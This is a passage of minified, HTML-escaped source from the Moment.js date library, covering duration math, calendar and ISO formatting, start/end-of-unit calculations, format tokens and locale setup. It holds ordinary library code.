milliseconds=duration._milliseconds,days=absRound(duration._days),months=absRound(duration._months);mom.isValid()&amp;&amp;(updateOffset=null==updateOffset||updateOffset,months&amp;&amp;setMonth(mom,get(mom,&quot;Month&quot;)+months*isAdding),days&amp;&amp;set$1(mom,&quot;Date&quot;,get(mom,&quot;Date&quot;)+days*isAdding),milliseconds&amp;&amp;mom._d.setTime(mom._d.valueOf()+milliseconds*isAdding),updateOffset&amp;&amp;hooks.updateOffset(mom,days||months))}createDuration.fn=Duration.prototype,createDuration.invalid=createInvalid$1;var add=createAdder(1,&quot;add&quot;),subtract=createAdder(-1,&quot;subtract&quot;);function getCalendarFormat(myMoment,now){var diff=myMoment.diff(now,&quot;days&quot;,!0);return diff&lt;-6?&quot;sameElse&quot;:diff&lt;-1?&quot;lastWeek&quot;:diff&lt;0?&quot;lastDay&quot;:diff&lt;1?&quot;sameDay&quot;:diff&lt;2?&quot;nextDay&quot;:diff&lt;7?&quot;nextWeek&quot;:&quot;sameElse&quot;}function calendar$1(time,formats){var now=time||createLocal(),sod=cloneWithOffset(now,this).startOf(&quot;day&quot;),format=hooks.calendarFormat(this,sod)||&quot;sameElse&quot;,output=formats&amp;&amp;(isFunction(formats[format])?formats[format].call(this,now):formats[format]);return this.format(output||this.localeData().calendar(format,this,createLocal(now)))}function clone(){return new Moment(this)}function isAfter(input,units){var localInput=isMoment(input)?input:createLocal(input);return!(!this.isValid()||!localInput.isValid())&amp;&amp;(&quot;millisecond&quot;===(units=normalizeUnits(units)||&quot;millisecond&quot;)?this.valueOf()&gt;localInput.valueOf():localInput.valueOf()&lt;this.clone().startOf(units).valueOf())}function isBefore(input,units){var localInput=isMoment(input)?input:createLocal(input);return!(!this.isValid()||!localInput.isValid())&amp;&amp;(&quot;millisecond&quot;===(units=normalizeUnits(units)||&quot;millisecond&quot;)?this.valueOf()&lt;localInput.valueOf():this.clone().endOf(units).valueOf()&lt;localInput.valueOf())}function isBetween(from,to,units,inclusivity){var localFrom=isMoment(from)?from:createLocal(from),localTo=isMoment(to)?to:createLocal(to);return!!(this.isValid()&amp;&amp;localFrom.isValid()&amp;&amp;localTo.isValid())&amp;&amp;(&quot;(&quot;===(inclusivity=inclusivity||&quot;()&quot;)[0]?this.isAfter(localFrom,units):!this.isBefore(localFrom,units))&amp;&amp;(&quot;)&quot;===inclusivity[1]?this.isBefore(localTo,units):!this.isAfter(localTo,units))}function isSame(input,units){var inputMs,localInput=isMoment(input)?input:createLocal(input);return!(!this.isValid()||!localInput.isValid())&amp;&amp;(&quot;millisecond&quot;===(units=normalizeUnits(units)||&quot;millisecond&quot;)?this.valueOf()===localInput.valueOf():(inputMs=localInput.valueOf(),this.clone().startOf(units).valueOf()&lt;=inputMs&amp;&amp;inputMs&lt;=this.clone().endOf(units).valueOf()))}function isSameOrAfter(input,units){return this.isSame(input,units)||this.isAfter(input,units)}function isSameOrBefore(input,units){return this.isSame(input,units)||this.isBefore(input,units)}function diff(input,units,asFloat){var that,zoneDelta,output;if(!this.isValid())return NaN;if(!(that=cloneWithOffset(input,this)).isValid())return NaN;switch(zoneDelta=6e4*(that.utcOffset()-this.utcOffset()),units=normalizeUnits(units)){case&quot;year&quot;:output=monthDiff(this,that)/12;break;case&quot;month&quot;:output=monthDiff(this,that);break;case&quot;quarter&quot;:output=monthDiff(this,that)/3;break;case&quot;second&quot;:output=(this-that)/1e3;break;case&quot;minute&quot;:output=(this-that)/6e4;break;case&quot;hour&quot;:output=(this-that)/36e5;break;case&quot;day&quot;:output=(this-that-zoneDelta)/864e5;break;case&quot;week&quot;:output=(this-that-zoneDelta)/6048e5;break;default:output=this-that}return asFloat?output:absFloor(output)}function monthDiff(a,b){var wholeMonthDiff=12*(b.year()-a.year())+(b.month()-a.month()),anchor=a.clone().add(wholeMonthDiff,&quot;months&quot;);return-(wholeMonthDiff+(b-anchor&lt;0?(b-anchor)/(anchor-a.clone().add(wholeMonthDiff-1,&quot;months&quot;)):(b-anchor)/(a.clone().add(wholeMonthDiff+1,&quot;months&quot;)-anchor)))||0}function toString(){return this.clone().locale(&quot;en&quot;).format(&quot;ddd MMM DD YYYY HH:mm:ss [GMT]ZZ&quot;)}function toISOString(keepOffset){if(!this.isValid())return null;var utc=!0!==keepOffset,m=utc?this.clone().utc():this;return m.year()&lt;0||m.year()&gt;9999?formatMoment(m,utc?&quot;YYYYYY-MM-DD[T]HH:mm:ss.SSS[Z]&quot;:&quot;YYYYYY-MM-DD[T]HH:mm:ss.SSSZ&quot;):isFunction(Date.prototype.toISOString)?utc?this.toDate().toISOString():new Date(this.valueOf()+60*this.utcOffset()*1e3).toISOString().replace(&quot;Z&quot;,formatMoment(m,&quot;Z&quot;)):formatMoment(m,utc?&quot;YYYY-MM-DD[T]HH:mm:ss.SSS[Z]&quot;:&quot;YYYY-MM-DD[T]HH:mm:ss.SSSZ&quot;)}function inspect(){if(!this.isValid())return&quot;moment.invalid(/* &quot;+this._i+&quot; */)&quot;;var func=&quot;moment&quot;,zone=&quot;&quot;;this.isLocal()||(func=0===this.utcOffset()?&quot;moment.utc&quot;:&quot;moment.parseZone&quot;,zone=&quot;Z&quot;);var prefix=&quot;[&quot;+func+&#039;(&quot;]&#039;,year=0&lt;=this.year()&amp;&amp;this.year()&lt;=9999?&quot;YYYY&quot;:&quot;YYYYYY&quot;,datetime=&quot;-MM-DD[T]HH:mm:ss.SSS&quot;,suffix=zone+&#039;[&quot;)]&#039;;return this.format(prefix+year+datetime+suffix)}function format(inputString){inputString||(inputString=this.isUtc()?hooks.defaultFormatUtc:hooks.defaultFormat);var output=formatMoment(this,inputString);return this.localeData().postformat(output)}function from(time,withoutSuffix){return this.isValid()&amp;&amp;(isMoment(time)&amp;&amp;time.isValid()||createLocal(time).isValid())?createDuration({to:this,from:time}).locale(this.locale()).humanize(!withoutSuffix):this.localeData().invalidDate()}function fromNow(withoutSuffix){return this.from(createLocal(),withoutSuffix)}function to(time,withoutSuffix){return this.isValid()&amp;&amp;(isMoment(time)&amp;&amp;time.isValid()||createLocal(time).isValid())?createDuration({from:this,to:time}).locale(this.locale()).humanize(!withoutSuffix):this.localeData().invalidDate()}function toNow(withoutSuffix){return this.to(createLocal(),withoutSuffix)}function locale(key){var newLocaleData;return void 0===key?this._locale._abbr:(null!=(newLocaleData=getLocale(key))&amp;&amp;(this._locale=newLocaleData),this)}hooks.defaultFormat=&quot;YYYY-MM-DDTHH:mm:ssZ&quot;,hooks.defaultFormatUtc=&quot;YYYY-MM-DDTHH:mm:ss[Z]&quot;;var lang=deprecate(&quot;moment().lang() is deprecated. Instead, use moment().localeData() to get the language configuration. Use moment().locale() to change languages.&quot;,(function(key){return void 0===key?this.localeData():this.locale(key)}));function localeData(){return this._locale}var MS_PER_SECOND=1e3,MS_PER_MINUTE=60*MS_PER_SECOND,MS_PER_HOUR=60*MS_PER_MINUTE,MS_PER_400_YEARS=3506328*MS_PER_HOUR;function mod$1(dividend,divisor){return(dividend%divisor+divisor)%divisor}function localStartOfDate(y,m,d){return y&lt;100&amp;&amp;y&gt;=0?new Date(y+400,m,d)-MS_PER_400_YEARS:new Date(y,m,d).valueOf()}function utcStartOfDate(y,m,d){return y&lt;100&amp;&amp;y&gt;=0?Date.UTC(y+400,m,d)-MS_PER_400_YEARS:Date.UTC(y,m,d)}function startOf(units){var time;if(void 0===(units=normalizeUnits(units))||&quot;millisecond&quot;===units||!this.isValid())return this;var startOfDate=this._isUTC?utcStartOfDate:localStartOfDate;switch(units){case&quot;year&quot;:time=startOfDate(this.year(),0,1);break;case&quot;quarter&quot;:time=startOfDate(this.year(),this.month()-this.month()%3,1);break;case&quot;month&quot;:time=startOfDate(this.year(),this.month(),1);break;case&quot;week&quot;:time=startOfDate(this.year(),this.month(),this.date()-this.weekday());break;case&quot;isoWeek&quot;:time=startOfDate(this.year(),this.month(),this.date()-(this.isoWeekday()-1));break;case&quot;day&quot;:case&quot;date&quot;:time=startOfDate(this.year(),this.month(),this.date());break;case&quot;hour&quot;:time=this._d.valueOf(),time-=mod$1(time+(this._isUTC?0:this.utcOffset()*MS_PER_MINUTE),MS_PER_HOUR);break;case&quot;minute&quot;:time=this._d.valueOf(),time-=mod$1(time,MS_PER_MINUTE);break;case&quot;second&quot;:time=this._d.valueOf(),time-=mod$1(time,MS_PER_SECOND)}return this._d.setTime(time),hooks.updateOffset(this,!0),this}function endOf(units){var time;if(void 0===(units=normalizeUnits(units))||&quot;millisecond&quot;===units||!this.isValid())return this;var startOfDate=this._isUTC?utcStartOfDate:localStartOfDate;switch(units){case&quot;year&quot;:time=startOfDate(this.year()+1,0,1)-1;break;case&quot;quarter&quot;:time=startOfDate(this.year(),this.month()-this.month()%3+3,1)-1;break;case&quot;month&quot;:time=startOfDate(this.year(),this.month()+1,1)-1;break;case&quot;week&quot;:time=startOfDate(this.year(),this.month(),this.date()-this.weekday()+7)-1;break;case&quot;isoWeek&quot;:time=startOfDate(this.year(),this.month(),this.date()-(this.isoWeekday()-1)+7)-1;break;case&quot;day&quot;:case&quot;date&quot;:time=startOfDate(this.year(),this.month(),this.date()+1)-1;break;case&quot;hour&quot;:time=this._d.valueOf(),time+=MS_PER_HOUR-mod$1(time+(this._isUTC?0:this.utcOffset()*MS_PER_MINUTE),MS_PER_HOUR)-1;break;case&quot;minute&quot;:time=this._d.valueOf(),time+=MS_PER_MINUTE-mod$1(time,MS_PER_MINUTE)-1;break;case&quot;second&quot;:time=this._d.valueOf(),time+=MS_PER_SECOND-mod$1(time,MS_PER_SECOND)-1}return this._d.setTime(time),hooks.updateOffset(this,!0),this}function valueOf(){return this._d.valueOf()-6e4*(this._offset||0)}function unix(){return Math.floor(this.valueOf()/1e3)}function toDate(){return new Date(this.valueOf())}function toArray(){var m=this;return[m.year(),m.month(),m.date(),m.hour(),m.minute(),m.second(),m.millisecond()]}function toObject(){var m=this;return{years:m.year(),months:m.month(),date:m.date(),hours:m.hours(),minutes:m.minutes(),seconds:m.seconds(),milliseconds:m.milliseconds()}}function toJSON(){return this.isValid()?this.toISOString():null}function isValid$2(){return isValid(this)}function parsingFlags(){return extend({},getParsingFlags(this))}function invalidAt(){return getParsingFlags(this).overflow}function creationData(){return{input:this._i,format:this._f,locale:this._locale,isUTC:this._isUTC,strict:this._strict}}function addWeekYearFormatToken(token,getter){addFormatToken(0,[token,token.length],0,getter)}function getSetWeekYear(input){return getSetWeekYearHelper.call(this,input,this.week(),this.weekday(),this.localeData()._week.dow,this.localeData()._week.doy)}function getSetISOWeekYear(input){return getSetWeekYearHelper.call(this,input,this.isoWeek(),this.isoWeekday(),1,4)}function getISOWeeksInYear(){return weeksInYear(this.year(),1,4)}function getWeeksInYear(){var weekInfo=this.localeData()._week;return weeksInYear(this.year(),weekInfo.dow,weekInfo.doy)}function getSetWeekYearHelper(input,week,weekday,dow,doy){var weeksTarget;return null==input?weekOfYear(this,dow,doy).year:(week&gt;(weeksTarget=weeksInYear(input,dow,doy))&amp;&amp;(week=weeksTarget),setWeekAll.call(this,input,week,weekday,dow,doy))}function setWeekAll(weekYear,week,weekday,dow,doy){var dayOfYearData=dayOfYearFromWeeks(weekYear,week,weekday,dow,doy),date=createUTCDate(dayOfYearData.year,0,dayOfYearData.dayOfYear);return this.year(date.getUTCFullYear()),this.month(date.getUTCMonth()),this.date(date.getUTCDate()),this}function getSetQuarter(input){return null==input?Math.ceil((this.month()+1)/3):this.month(3*(input-1)+this.month()%3)}addFormatToken(0,[&quot;gg&quot;,2],0,(function(){return this.weekYear()%100})),addFormatToken(0,[&quot;GG&quot;,2],0,(function(){return this.isoWeekYear()%100})),addWeekYearFormatToken(&quot;gggg&quot;,&quot;weekYear&quot;),addWeekYearFormatToken(&quot;ggggg&quot;,&quot;weekYear&quot;),addWeekYearFormatToken(&quot;GGGG&quot;,&quot;isoWeekYear&quot;),addWeekYearFormatToken(&quot;GGGGG&quot;,&quot;isoWeekYear&quot;),addUnitAlias(&quot;weekYear&quot;,&quot;gg&quot;),addUnitAlias(&quot;isoWeekYear&quot;,&quot;GG&quot;),addUnitPriority(&quot;weekYear&quot;,1),addUnitPriority(&quot;isoWeekYear&quot;,1),addRegexToken(&quot;G&quot;,matchSigned),addRegexToken(&quot;g&quot;,matchSigned),addRegexToken(&quot;GG&quot;,match1to2,match2),addRegexToken(&quot;gg&quot;,match1to2,match2),addRegexToken(&quot;GGGG&quot;,match1to4,match4),addRegexToken(&quot;gggg&quot;,match1to4,match4),addRegexToken(&quot;GGGGG&quot;,match1to6,match6),addRegexToken(&quot;ggggg&quot;,match1to6,match6),addWeekParseToken([&quot;gggg&quot;,&quot;ggggg&quot;,&quot;GGGG&quot;,&quot;GGGGG&quot;],(function(input,week,config,token){week[token.substr(0,2)]=toInt(input)})),addWeekParseToken([&quot;gg&quot;,&quot;GG&quot;],(function(input,week,config,token){week[token]=hooks.parseTwoDigitYear(input)})),addFormatToken(&quot;Q&quot;,0,&quot;Qo&quot;,&quot;quarter&quot;),addUnitAlias(&quot;quarter&quot;,&quot;Q&quot;),addUnitPriority(&quot;quarter&quot;,7),addRegexToken(&quot;Q&quot;,match1),addParseToken(&quot;Q&quot;,(function(input,array){array[MONTH]=3*(toInt(input)-1)})),addFormatToken(&quot;D&quot;,[&quot;DD&quot;,2],&quot;Do&quot;,&quot;date&quot;),addUnitAlias(&quot;date&quot;,&quot;D&quot;),addUnitPriority(&quot;date&quot;,9),addRegexToken(&quot;D&quot;,match1to2),addRegexToken(&quot;DD&quot;,match1to2,match2),addRegexToken(&quot;Do&quot;,(function(isStrict,locale){return isStrict?locale._dayOfMonthOrdinalParse||locale._ordinalParse:locale._dayOfMonthOrdinalParseLenient})),addParseToken([&quot;D&quot;,&quot;DD&quot;],DATE),addParseToken(&quot;Do&quot;,(function(input,array){array[DATE]=toInt(input.match(match1to2)[0])}));var getSetDayOfMonth=makeGetSet(&quot;Date&quot;,!0);function getSetDayOfYear(input){var dayOfYear=Math.round((this.clone().startOf(&quot;day&quot;)-this.clone().startOf(&quot;year&quot;))/864e5)+1;return null==input?dayOfYear:this.add(input-dayOfYear,&quot;d&quot;)}addFormatToken(&quot;DDD&quot;,[&quot;DDDD&quot;,3],&quot;DDDo&quot;,&quot;dayOfYear&quot;),addUnitAlias(&quot;dayOfYear&quot;,&quot;DDD&quot;),addUnitPriority(&quot;dayOfYear&quot;,4),addRegexToken(&quot;DDD&quot;,match1to3),addRegexToken(&quot;DDDD&quot;,match3),addParseToken([&quot;DDD&quot;,&quot;DDDD&quot;],(function(input,array,config){config._dayOfYear=toInt(input)})),addFormatToken(&quot;m&quot;,[&quot;mm&quot;,2],0,&quot;minute&quot;),addUnitAlias(&quot;minute&quot;,&quot;m&quot;),addUnitPriority(&quot;minute&quot;,14),addRegexToken(&quot;m&quot;,match1to2),addRegexToken(&quot;mm&quot;,match1to2,match2),addParseToken([&quot;m&quot;,&quot;mm&quot;],MINUTE);var getSetMinute=makeGetSet(&quot;Minutes&quot;,!1);addFormatToken(&quot;s&quot;,[&quot;ss&quot;,2],0,&quot;second&quot;),addUnitAlias(&quot;second&quot;,&quot;s&quot;),addUnitPriority(&quot;second&quot;,15),addRegexToken(&quot;s&quot;,match1to2),addRegexToken(&quot;ss&quot;,match1to2,match2),addParseToken([&quot;s&quot;,&quot;ss&quot;],SECOND);var token,getSetSecond=makeGetSet(&quot;Seconds&quot;,!1);for(addFormatToken(&quot;S&quot;,0,0,(function(){return~~(this.millisecond()/100)})),addFormatToken(0,[&quot;SS&quot;,2],0,(function(){return~~(this.millisecond()/10)})),addFormatToken(0,[&quot;SSS&quot;,3],0,&quot;millisecond&quot;),addFormatToken(0,[&quot;SSSS&quot;,4],0,(function(){return 10*this.millisecond()})),addFormatToken(0,[&quot;SSSSS&quot;,5],0,(function(){return 100*this.millisecond()})),addFormatToken(0,[&quot;SSSSSS&quot;,6],0,(function(){return 1e3*this.millisecond()})),addFormatToken(0,[&quot;SSSSSSS&quot;,7],0,(function(){return 1e4*this.millisecond()})),addFormatToken(0,[&quot;SSSSSSSS&quot;,8],0,(function(){return 1e5*this.millisecond()})),addFormatToken(0,[&quot;SSSSSSSSS&quot;,9],0,(function(){return 1e6*this.millisecond()})),addUnitAlias(&quot;millisecond&quot;,&quot;ms&quot;),addUnitPriority(&quot;millisecond&quot;,16),addRegexToken(&quot;S&quot;,match1to3,match1),addRegexToken(&quot;SS&quot;,match1to3,match2),addRegexToken(&quot;SSS&quot;,match1to3,match3),token=&quot;SSSS&quot;;token.length&lt;=9;token+=&quot;S&quot;)addRegexToken(token,matchUnsigned);function parseMs(input,array){array[MILLISECOND]=toInt(1e3*(&quot;0.&quot;+input))}for(token=&quot;S&quot;;token.length&lt;=9;token+=&quot;S&quot;)addParseToken(token,parseMs);var getSetMillisecond=makeGetSet(&quot;Milliseconds&quot;,!1);function getZoneAbbr(){return this._isUTC?&quot;UTC&quot;:&quot;&quot;}function getZoneName(){return this._isUTC?&quot;Coordinated Universal Time&quot;:&quot;&quot;}addFormatToken(&quot;z&quot;,0,0,&quot;zoneAbbr&quot;),addFormatToken(&quot;zz&quot;,0,0,&quot;zoneName&quot;);var proto=Moment.prototype;function createUnix(input){return createLocal(1e3*input)}function createInZone(){return createLocal.apply(null,arguments).parseZone()}function preParsePostFormat(string){return string}proto.add=add,proto.calendar=calendar$1,proto.clone=clone,proto.diff=diff,proto.endOf=endOf,proto.format=format,proto.from=from,proto.fromNow=fromNow,proto.to=to,proto.toNow=toNow,proto.get=stringGet,proto.invalidAt=invalidAt,proto.isAfter=isAfter,proto.isBefore=isBefore,proto.isBetween=isBetween,proto.isSame=isSame,proto.isSameOrAfter=isSameOrAfter,proto.isSameOrBefore=isSameOrBefore,proto.isValid=isValid$2,proto.lang=lang,proto.locale=locale,proto.localeData=localeData,proto.max=prototypeMax,proto.min=prototypeMin,proto.parsingFlags=parsingFlags,proto.set=stringSet,proto.startOf=startOf,proto.subtract=subtract,proto.toArray=toArray,proto.toObject=toObject,proto.toDate=toDate,proto.toISOString=toISOString,proto.inspect=inspect,proto.toJSON=toJSON,proto.toString=toString,proto.unix=unix,proto.valueOf=valueOf,proto.creationData=creationData,proto.year=getSetYear,proto.isLeapYear=getIsLeapYear,proto.weekYear=getSetWeekYear,proto.isoWeekYear=getSetISOWeekYear,proto.quarter=proto.quarters=getSetQuarter,proto.month=getSetMonth,proto.daysInMonth=getDaysInMonth,proto.week=proto.weeks=getSetWeek,proto.isoWeek=proto.isoWeeks=getSetISOWeek,proto.weeksInYear=getWeeksInYear,proto.isoWeeksInYear=getISOWeeksInYear,proto.date=getSetDayOfMonth,proto.day=proto.days=getSetDayOfWeek,proto.weekday=getSetLocaleDayOfWeek,proto.isoWeekday=getSetISODayOfWeek,proto.dayOfYear=getSetDayOfYear,proto.hour=proto.hours=getSetHour,proto.minute=proto.minutes=getSetMinute,proto.second=proto.seconds=getSetSecond,proto.millisecond=proto.milliseconds=getSetMillisecond,proto.utcOffset=getSetOffset,proto.utc=setOffsetToUTC,proto.local=setOffsetToLocal,proto.parseZone=setOffsetToParsedOffset,proto.hasAlignedHourOffset=hasAlignedHourOffset,proto.isDST=isDaylightSavingTime,proto.isLocal=isLocal,proto.isUtcOffset=isUtcOffset,proto.isUtc=isUtc,proto.isUTC=isUtc,proto.zoneAbbr=getZoneAbbr,proto.zoneName=getZoneName,proto.dates=deprecate(&quot;dates accessor is deprecated. Use date instead.&quot;,getSetDayOfMonth),proto.months=deprecate(&quot;months accessor is deprecated. Use month instead&quot;,getSetMonth),proto.years=deprecate(&quot;years accessor is deprecated. Use year instead&quot;,getSetYear),proto.zone=deprecate(&quot;moment().zone is deprecated, use moment().utcOffset instead. http://momentjs.com/guides/#/warnings/zone/&quot;,getSetZone),proto.isDSTShifted=deprecate(&quot;isDSTShifted is deprecated. See http://momentjs.com/guides/#/warnings/dst-shifted/ for more information&quot;,isDaylightSavingTimeShifted);var proto$1=Locale.prototype;function get$1(format,index,field,setter){var locale=getLocale(),utc=createUTC().set(setter,index);return locale[field](utc,format)}function listMonthsImpl(format,index,field){if(isNumber(format)&amp;&amp;(index=format,format=void 0),format=format||&quot;&quot;,null!=index)return get$1(format,index,field,&quot;month&quot;);var i,out=[];for(i=0;i&lt;12;i++)out[i]=get$1(format,i,field,&quot;month&quot;);return out}function listWeekdaysImpl(localeSorted,format,index,field){&quot;boolean&quot;==typeof localeSorted?(isNumber(format)&amp;&amp;(index=format,format=void 0),format=format||&quot;&quot;):(index=format=localeSorted,localeSorted=!1,isNumber(format)&amp;&amp;(index=format,format=void 0),format=format||&quot;&quot;);var i,locale=getLocale(),shift=localeSorted?locale._week.dow:0;if(null!=index)return get$1(format,(index+shift)%7,field,&quot;day&quot;);var out=[];for(i=0;i&lt;7;i++)out[i]=get$1(format,(i+shift)%7,field,&quot;day&quot;);return out}function listMonths(format,index){return listMonthsImpl(format,index,&quot;months&quot;)}function listMonthsShort(format,index){return listMonthsImpl(format,index,&quot;monthsShort&quot;)}function listWeekdays(localeSorted,format,index){return listWeekdaysImpl(localeSorted,format,index,&quot;weekdays&quot;)}function listWeekdaysShort(localeSorted,format,index){return listWeekdaysImpl(localeSorted,format,index,&quot;weekdaysShort&quot;)}function listWeekdaysMin(localeSorted,format,index){return listWeekdaysImpl(localeSorted,format,index,&quot;weekdaysMin&quot;)}proto$1.calendar=calendar,proto$1.longDateFormat=longDateFormat,proto$1.invalidDate=invalidDate,proto$1.ordinal=ordinal,proto$1.preparse=preParsePostFormat,proto$1.postformat=preParsePostFormat,proto$1.relativeTime=relativeTime,proto$1.pastFuture=pastFuture,proto$1.set=set,proto$1.months=localeMonths,proto$1.monthsShort=localeMonthsShort,proto$1.monthsParse=localeMonthsParse,proto$1.monthsRegex=monthsRegex,proto$1.monthsShortRegex=monthsShortRegex,proto$1.week=localeWeek,proto$1.firstDayOfYear=localeFirstDayOfYear,proto$1.firstDayOfWeek=localeFirstDayOfWeek,proto$1.weekdays=localeWeekdays,proto$1.weekdaysMin=localeWeekdaysMin,proto$1.weekdaysShort=localeWeekdaysShort,proto$1.weekdaysParse=localeWeekdaysParse,proto$1.weekdaysRegex=weekdaysRegex,proto$1.weekdaysShortRegex=weekdaysShortRegex,proto$1.weekdaysMinRegex=weekdaysMinRegex,proto$1.isPM=localeIsPM,proto$1.meridiem=localeMeridiem,getSetGlobalLocale(&quot;en&quot;,{dayOfMonthOrdinalParse:/\d{1,2}(th|st|nd|rd)/,ordinal:function(number){var b=number%10;return number+(1===toInt(number%100/10)?&quot;th&quot;:1===b?&quot;st&quot;:2===b?&quot;nd&quot;:3===b?&quot;rd&quot;:&quot;th&quot;)}}),hooks.lang=deprecate(&quot;moment.lang is deprecated. Use moment.locale instead.&quot;,getSetGlobalLocale),hooks.langData=deprecate(&quot;moment.langData is deprecated. Use moment.localeData instead.&quot;,getLocale);var mathAbs=Math.abs;function abs(){var data=this._data;return this._milliseconds=mathAbs(this._milliseconds),this._days=mathAbs(this._days),this._months=mathAbs(this._months),data.milliseconds=mathAbs(data.milliseconds),data.seconds=mathAbs(data.seconds),data.minutes=mathAbs(data.minutes),data.hours=mathAbs(data.hours),data.months=mathAbs(data.months),data.years=mathAbs(data.years),this}function addSubtract$1(duration,input,value,direction){var other=createDuration(input,value);return duration._milliseconds+=direction*other._milliseconds,duration._days+=direction*other._days,duration._months+=direction*other._months,duration._bubble()}function add$1(input,value){return addSubtract$1(this,input,value,1)}function subtract$1(input,value){return addSubtract$1(this,input,value,-1)}function absCeil(number){return number&lt;0?Math.floor(number):Math.ceil(number)}function bubble(){var seconds,minutes,hours,years,monthsFromDays,milliseconds=this._milliseconds,days=this._days,months=this._months,data=this._data;return milliseconds&gt;=0&amp;&amp;days&gt;=0&amp;&amp;months&gt;=0||milliseconds&lt;=0&amp;&amp;days&lt;=0&amp;&amp;months&lt;=0||(milliseconds+=864e5*absCeil(monthsToDays(months)+days),days=0,months=0),data.milliseconds=milliseconds%1e3,seconds=absFloor(milliseconds/1e3),data.seconds=seconds%60,minutes=absFloor(seconds/60),data.minutes=minutes%60,hours=absFloor(minutes/60),data.hours=hours%24,days+=absFloor(hours/24),months+=monthsFromDays=absFloor(daysToMonths(days)),days-=absCeil(monthsToDays(monthsFromDays)),years=absFloor(months/12),months%=12,data.days=days,data.months=months,data.years=years,this}function daysToMonths(days){return 4800*days/146097}function monthsToDays(months){return 146097*months/4800}function as(units){if(!this.isValid())return NaN;var days,months,milliseconds=this._milliseconds;if(&quot;month&quot;===(units=normalizeUnits(units))||&quot;quarter&quot;===units||&quot;year&quot;===units)switch(days=this._days+milliseconds/864e5,months=this._months+daysToMonths(days),units){case&quot;month&quot;:return months;case&quot;quarter&quot;:return months/3;case&quot;year&quot;:return months/12}else switch(days=this._days+Math.round(monthsToDays(this._months)),units){case&quot;week&quot;:return days/7+milliseconds/6048e5;case&quot;day&quot;:return days+milliseconds/864e5;case&quot;hour&quot;:return 24*days+milliseconds/36e5;case&quot;minute&quot;:return 1440*days+milliseconds/6e4;case&quot;second&quot;:return 86400*days+milliseconds/1e3;case&quot;millisecond&quot;:return Math.floor(864e5*days)+milliseconds;default:throw new Error(&quot;Unknown unit &quot;+units)}}function valueOf$1(){return this.isValid()?this._milliseconds+864e5*this._days+this._months%12*2592e6+31536e6*toInt(this._months/12):NaN}function makeAs(alias){return function(){return this.as(alias)}}var asMilliseconds=makeAs(&quot;ms&quot;),asSeconds=makeAs(&quot;s&quot;),asMinutes=makeAs(&quot;m&quot;),asHours=makeAs(&quot;h&quot;),asDays=makeAs(&quot;d&quot;),asWeeks=makeAs(&quot;w&quot;),asMonths=makeAs(&quot;M&quot;),asQuarters=makeAs(&quot;Q&quot;),asYears=makeAs(&quot;y&quot;);function clone$1(){return createDuration(this)}function get$2(units){return units=normalizeUnits(units),this.isValid()?this[units+&quot;s&quot;]():NaN}function makeGetter(name){return function(){return this.isValid()?this._data[name]:NaN}}var milliseconds=makeGetter(&quot;milliseconds&quot;),seconds=makeGetter(&quot;seconds&quot;),minutes=makeGetter(&quot;minutes&quot;),hours=makeGetter(&quot;hours&quot;),days=makeGetter(&quot;days&quot;),months=makeGetter(&quot;months&quot;),years=makeGetter(&quot;years&quot;);function weeks(){return absFloor(this.days()/7)}var round=Math.round,thresholds={ss:44,s:45,m:45,h:22,d:26,M:11};function substituteTimeAgo(string,number,withoutSuffix,isFuture,locale){return locale.relativeTime(number||1,!!withoutSuffix,string,isFuture)}function relativeTime$1(posNegDuration,withoutSuffix,locale){var duration=createDuration(posNegDuration).abs(),seconds=round(duration.as(&quot;s&quot;)),minutes=round(duration.as(&quot;m&quot;)),hours=round(duration.as(&quot;h&quot;)),days=round(duration.as(&quot;d&quot;)),months=round(duration.as(&quot;M&quot;)),years=round(duration.as(&quot;y&quot;)),a=seconds&lt;=thresholds.ss&amp;&amp;[&quot;s&quot;,seconds]||seconds&lt;thresholds.s&amp;&amp;[&quot;ss&quot;,seconds]||minutes&lt;=1&amp;&amp;[&quot;m&quot;]||minutes&lt;thresholds.m&amp;&amp;[&quot;mm&quot;,minutes]||hours&lt;=1&amp;&amp;[&quot;h&quot;]||hours&lt;thresholds.h&amp;&amp;[&quot;hh&quot;,hours]||days&lt;=1&amp;&amp;[&quot;d&quot;]||days&lt;thresholds.d&amp;&amp;[&quot;dd&quot;,days]||months&lt;=1&amp;&amp;[&quot;M&quot;]||months&lt;thresholds.M&amp;&amp;[&quot;MM&quot;,months]||years&lt;=1&amp;&amp;[&quot;y&quot;]||[&quot;yy&quot;,years];return a[2]=withoutSuffix,a[3]=+posNegDuration&gt;0,a[4]=locale,substituteTimeAgo.apply(null,a)}function getSetRelativeTimeRounding(roundingFunction){return void 0===roundingFunction?round:&quot;function&quot;==typeof roundingFunction&amp;&amp;(round=roundingFunction,!0)}function getSetRelativeTimeThreshold(threshold,limit){return void 0!==thresholds[threshold]&amp;&amp;(void 0===limit?thresholds[threshold]:(thresholds[threshold]=limit,&quot;s&quot;===threshold&amp;&amp;(thresholds.ss=limit-1),!0))}function humanize(withSuffix){if(!this.isValid())return this.localeData().invalidDate();var locale=this.localeData(),output=relativeTime$1(this,!withSuffix,locale);return withSuffix&amp;&amp;(output=locale.pastFuture(+this,output)),locale.postformat(output)}var abs$1=Math.abs;function sign(x){return(x&gt;0)-(x&lt;0)||+x}function toISOString$1(){if(!this.isValid())return this.localeData().invalidDate();var minutes,hours,seconds=abs$1(this._milliseconds)/1e3,days=abs$1(this._days),months=abs$1(this._months);minutes=absFloor(seconds/60),hours=absFloor(minutes/60),seconds%=60,minutes%=60;var Y=absFloor(months/12),M=months%=12,D=days,h=hours,m=minutes,s=seconds?seconds.toFixed(3).replace(/\.?0+$/,&quot;&quot;):&quot;&quot;,total=this.asSeconds();if(!total)return&quot;P0D&quot;;var totalSign=total&lt;0?&quot;-&quot;:&quot;&quot;,ymSign=sign(this._months)!==sign(total)?&quot;-&quot;:&quot;&quot;,daysSign=sign(this._days)!==sign(total)?&quot;-&quot;:&quot;&quot;,hmsSign=sign(this._milliseconds)!==sign(total)?&quot;-&quot;:&quot;&quot;;return totalSign+&quot;P&quot;+(Y?ymSign+Y+&quot;Y&quot;:&quot;&quot;)+(M?ymSign+M+&quot;M&quot;:&quot;&quot;)+(D?daysSign+D+&quot;D&quot;:&quot;&quot;)+(h||m||s?&quot;T&quot;:&quot;&quot;)+(h?hmsSign+h+&quot;H&quot;:&quot;&quot;)+(m?hmsSign+m+&quot;M&quot;:&quot;&quot;)+(s?hmsSign+s+&quot;S&quot;:&quot;&quot;)}var proto$2=Duration.prototype;return 